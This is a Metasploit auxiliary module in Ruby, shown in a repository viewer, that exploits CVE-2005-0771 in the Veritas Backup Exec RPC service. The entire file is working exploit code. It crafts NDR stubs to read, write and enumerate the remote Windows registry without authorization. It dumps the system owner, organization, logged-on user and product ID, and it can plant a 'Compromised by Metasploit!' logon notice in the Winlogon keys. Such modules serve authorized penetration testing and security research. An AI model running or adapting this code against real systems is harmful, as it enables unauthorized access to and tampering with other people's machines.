root / modules / auxiliary / admin / backupexec / registry.rb @ master
History | View | Annotate | Download (7.1 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Auxiliary |
| 17 |
|
| 18 |
include Msf::Exploit::Remote::DCERPC |
| 19 |
include ::Rex::Platforms::Windows |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'Veritas Backup Exec Server Registry Access', |
| 24 |
'Description' => %q{ |
| 25 |
This modules exploits a remote registry access flaw in the BackupExec Windows |
| 26 |
Server RPC service. This vulnerability was discovered by Pedram Amini and is based |
| 27 |
on the NDR stub information information posted to openrce.org. |
| 28 |
Please see the action list for the different attack modes. |
| 29 |
|
| 30 |
},
|
| 31 |
'Author' => [ 'hdm' ], |
| 32 |
'License' => MSF_LICENSE, |
| 33 |
'Version' => '$Revision$', |
| 34 |
'References' =>
|
| 35 |
[ |
| 36 |
[ 'OSVDB', '17627' ], |
| 37 |
[ 'CVE', '2005-0771' ], |
| 38 |
[ 'URL', 'http://www.idefense.com/application/poi/display?id=269&type=vulnerabilities'], |
| 39 |
], |
| 40 |
'Actions' =>
|
| 41 |
[ |
| 42 |
['System Information'],
|
| 43 |
['Create Logon Notice']
|
| 44 |
], |
| 45 |
'DefaultAction' => 'System Information' |
| 46 |
)) |
| 47 |
|
| 48 |
register_options( |
| 49 |
[ |
| 50 |
Opt::RPORT(6106), |
| 51 |
OptString.new('WARN', |
| 52 |
[ |
| 53 |
false,
|
| 54 |
"The warning to display for the Logon Notice action",
|
| 55 |
"Compromised by Metasploit!\r\n"
|
| 56 |
] |
| 57 |
), |
| 58 |
], self.class)
|
| 59 |
end
|
| 60 |
|
| 61 |
def auxiliary_commands |
| 62 |
return {
|
| 63 |
"regread" => "Read a registry value", |
| 64 |
# "regenum" => "Enumerate registry keys",
|
| 65 |
} |
| 66 |
end
|
| 67 |
|
| 68 |
def run |
| 69 |
case action.name
|
| 70 |
when 'System Information' |
| 71 |
system_info() |
| 72 |
when 'Create Logon Notice' |
| 73 |
logon_notice() |
| 74 |
end
|
| 75 |
end
|
| 76 |
|
| 77 |
|
| 78 |
def cmd_regread(*args) |
| 79 |
|
| 80 |
if (args.length == 0) |
| 81 |
print_status("Usage: regread HKLM\\\\Hardware\\\\Description\\\\System\\\\SystemBIOSVersion")
|
| 82 |
return
|
| 83 |
end
|
| 84 |
|
| 85 |
paths = args[0].split("\\") |
| 86 |
hive = paths.shift |
| 87 |
subval = paths.pop |
| 88 |
subkey = paths.join("\\")
|
| 89 |
data = backupexec_regread(hive, subkey, subval) |
| 90 |
|
| 91 |
if (data)
|
| 92 |
print_status("DATA: #{deunicode(data)}")
|
| 93 |
else
|
| 94 |
print_error("Failed to read #{hive}\\#{subkey}\\#{subval}...")
|
| 95 |
end
|
| 96 |
|
| 97 |
end
|
| 98 |
|
| 99 |
def cmd_regenum(*args) |
| 100 |
|
| 101 |
if (args.length == 0) |
| 102 |
print_status("Usage: regenum HKLM\\\\Software")
|
| 103 |
return
|
| 104 |
end
|
| 105 |
|
| 106 |
paths = args[0].split("\\") |
| 107 |
hive = paths.shift |
| 108 |
subkey = "\\" + paths.join("\\") |
| 109 |
data = backupexec_regenum(hive, subkey) |
| 110 |
|
| 111 |
if (data)
|
| 112 |
print_status("DATA: #{deunicode(data)}")
|
| 113 |
else
|
| 114 |
print_error("Failed to enumerate #{hive}\\#{subkey}...")
|
| 115 |
end
|
| 116 |
|
| 117 |
end
|
| 118 |
|
| 119 |
def system_info |
| 120 |
print_status("Dumping system information...")
|
| 121 |
|
| 122 |
prod_id = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows\\CurrentVersion', 'ProductId') || 'Unknown' |
| 123 |
prod_name = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName') || 'Windows (Unknown)' |
| 124 |
prod_sp = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'CSDVersion') || 'No Service Pack' |
| 125 |
owner = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOwner') || 'Unknown Owner' |
| 126 |
company = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOrganization') || 'Unknown Company' |
| 127 |
cpu = backupexec_regread('HKLM', 'Hardware\\Description\\System\\CentralProcessor\\0', 'ProcessorNameString') || 'Unknown CPU' |
| 128 |
username = backupexec_regread('HKCU', 'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer', 'Logon User Name') || 'SYSTEM' |
| 129 |
|
| 130 |
print_status("The current interactive user is #{deunicode(username)}")
|
| 131 |
print_status("The operating system is #{deunicode(prod_name)} #{deunicode(prod_sp)} (#{deunicode(prod_id)})")
|
| 132 |
print_status("The system is registered to #{deunicode(owner)} of #{deunicode(company)}")
|
| 133 |
print_status("The system runs on a #{deunicode(cpu)}")
|
| 134 |
end
|
| 135 |
|
| 136 |
def logon_notice |
| 137 |
print_status("Setting the logon warning to #{datastore['WARN'].strip}...")
|
| 138 |
backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeText', REG_SZ, datastore['WARN']) |
| 139 |
backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeCaption', REG_SZ, 'METASPLOIT') |
| 140 |
end
|
| 141 |
|
| 142 |
|
| 143 |
def deunicode(str) |
| 144 |
str.gsub(/\x00/, '').strip |
| 145 |
end
|
| 146 |
|
| 147 |
#
|
| 148 |
# Write a registry key
|
| 149 |
#
|
| 150 |
def backupexec_regwrite(hive, subkey, subval, type, data) |
| 151 |
stub = backupexec_regrpc_write( |
| 152 |
:hive => registry_hive_lookup(hive),
|
| 153 |
:subkey => subkey,
|
| 154 |
:subval => subval,
|
| 155 |
:type => type,
|
| 156 |
:data => data
|
| 157 |
) |
| 158 |
resp = backupexec_regrpc_call(5, stub)
|
| 159 |
return false if resp.length == 0 |
| 160 |
return true |
| 161 |
end
|
| 162 |
|
| 163 |
#
|
| 164 |
# Read a registry key
|
| 165 |
#
|
| 166 |
def backupexec_regread(hive, subkey, subval, type = REG_SZ) |
| 167 |
stub = backupexec_regrpc_read( |
| 168 |
:hive => registry_hive_lookup(hive),
|
| 169 |
:subkey => subkey,
|
| 170 |
:subval => subval,
|
| 171 |
:type => type
|
| 172 |
) |
| 173 |
resp = backupexec_regrpc_call(4, stub)
|
| 174 |
|
| 175 |
return nil if resp.length == 0 |
| 176 |
ret, len = resp[0,8].unpack('VV') |
| 177 |
return nil if ret == 0 |
| 178 |
return nil if len == 0 |
| 179 |
return resp[8, len] |
| 180 |
end
|
| 181 |
|
| 182 |
#
|
| 183 |
# Enumerate a registry key
|
| 184 |
#
|
| 185 |
def backupexec_regenum(hive, subkey) |
| 186 |
stub = backupexec_regrpc_enum( |
| 187 |
:hive => registry_hive_lookup(hive),
|
| 188 |
:subkey => subkey
|
| 189 |
) |
| 190 |
resp = backupexec_regrpc_call(7, stub)
|
| 191 |
p resp |
| 192 |
|
| 193 |
return nil if resp.length == 0 |
| 194 |
ret, len = resp[0,8].unpack('VV') |
| 195 |
return nil if ret == 0 |
| 196 |
return nil if len == 0 |
| 197 |
return resp[8, len] |
| 198 |
end
|
| 199 |
|
| 200 |
#
|
| 201 |
# Call the backupexec registry service
|
| 202 |
#
|
| 203 |
def backupexec_regrpc_call(opnum, data = '') |
| 204 |
|
| 205 |
handle = dcerpc_handle( |
| 206 |
'93841fd0-16ce-11ce-850d-02608c44967b', '1.0', |
| 207 |
'ncacn_ip_tcp', [datastore['RPORT']] |
| 208 |
) |
| 209 |
|
| 210 |
dcerpc_bind(handle) |
| 211 |
|
| 212 |
resp = dcerpc.call(opnum, data) |
| 213 |
outp = ''
|
| 214 |
|
| 215 |
if (dcerpc.last_response and dcerpc.last_response.stub_data) |
| 216 |
outp = dcerpc.last_response.stub_data |
| 217 |
end
|
| 218 |
|
| 219 |
disconnect |
| 220 |
|
| 221 |
outp |
| 222 |
end
|
| 223 |
|
| 224 |
# RPC Service 4
|
| 225 |
def backupexec_regrpc_read(opts = {}) |
| 226 |
subkey = opts[:subkey] || '' |
| 227 |
subval = opts[:subval] || '' |
| 228 |
hive = opts[:hive] || HKEY_LOCAL_MACHINE |
| 229 |
type = opts[:type] || REG_SZ |
| 230 |
|
| 231 |
stub = |
| 232 |
NDR.UnicodeConformantVaryingString(subkey) +
|
| 233 |
NDR.UnicodeConformantVaryingString(subval) +
|
| 234 |
NDR.long(type) +
|
| 235 |
NDR.long(1024) + |
| 236 |
NDR.long(0) + |
| 237 |
NDR.long(4) + |
| 238 |
NDR.long(4) + |
| 239 |
NDR.long(hive)
|
| 240 |
return stub
|
| 241 |
end
|
| 242 |
|
| 243 |
# RPC Service 7
|
| 244 |
def backupexec_regrpc_enum(opts = {}) |
| 245 |
subkey = opts[:subkey] || '' |
| 246 |
hive = opts[:hive] || HKEY_LOCAL_MACHINE |
| 247 |
stub = |
| 248 |
NDR.UnicodeConformantVaryingString(subkey) +
|
| 249 |
NDR.long(4096) + |
| 250 |
NDR.long(0) + |
| 251 |
NDR.long(4) + |
| 252 |
NDR.long(4) + |
| 253 |
NDR.long(hive)
|
| 254 |
return stub
|
| 255 |
end
|
| 256 |
|
| 257 |
# RPC Service 5
|
| 258 |
def backupexec_regrpc_write(opts = {}) |
| 259 |
subkey = opts[:subkey] || '' |
| 260 |
subval = opts[:subval] || '' |
| 261 |
hive = opts[:hive] || HKEY_LOCAL_MACHINE |
| 262 |
type = opts[:type] || REG_SZ |
| 263 |
data = opts[:data] || '' |
| 264 |
|
| 265 |
if (type == REG_SZ || type == REG_EXPAND_SZ) |
| 266 |
data = Rex::Text.to_unicode(data+"\x00") |
| 267 |
end
|
| 268 |
|
| 269 |
stub = |
| 270 |
NDR.UnicodeConformantVaryingString(subkey) +
|
| 271 |
NDR.UnicodeConformantVaryingString(subval) +
|
| 272 |
NDR.long(type) +
|
| 273 |
NDR.long(data.length) +
|
| 274 |
NDR.long(data.length) +
|
| 275 |
data + |
| 276 |
NDR.align(data) +
|
| 277 |
NDR.long(4) + |
| 278 |
NDR.long(4) + |
| 279 |
NDR.long(hive)
|
| 280 |
return stub
|
| 281 |
end
|
| 282 |
|
| 283 |
end
|